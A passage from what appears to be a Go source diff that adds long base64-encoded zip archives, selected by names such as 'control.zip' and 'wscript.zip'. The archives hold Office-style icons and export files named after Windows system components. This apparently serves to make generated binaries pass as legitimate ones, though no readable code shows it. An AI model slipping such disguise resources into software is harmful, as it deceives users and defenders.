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"
+ }
+ if name == "control.zip" {
+ base64string = "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"
+ }
+ if name == "wscript.zip" {
+ base64string = "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